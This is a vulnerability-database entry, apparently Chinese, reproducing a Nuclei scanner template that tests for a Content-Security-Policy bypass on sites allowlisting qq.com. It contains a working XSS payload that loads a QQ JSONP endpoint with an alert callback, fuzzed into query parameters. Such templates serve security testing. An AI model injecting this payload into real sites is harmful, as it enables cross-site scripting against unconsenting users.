qq-csp-bypass: Content-Security-Policy Bypass - QQ

日期: 2025-08-01 | 影响软件: qq | POC: 已公开

漏洞描述

PoC代码[已公开]

id: qq-csp-bypass

info:
  name: Content-Security-Policy Bypass - QQ
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,qq,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "qq.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: qq_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://c.y.qq.com/v8/fcg-bin/v8.fcg?&notice=0&format=jsonp&channel=singer&page=list&jsonpCallback=alert"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "qq_csp_xss == true"
# digest: 490a00463044022021b279a9bf99a87c06056883ce3fb94b4770ab9fd4debd96c71e0093bd5a290102202f96151e1f884458b5484c95934bc58ef811cc3e35d00c14cb3c4be92a43bd77:922c64590222798bb761d5b6d8e72950

相关漏洞推荐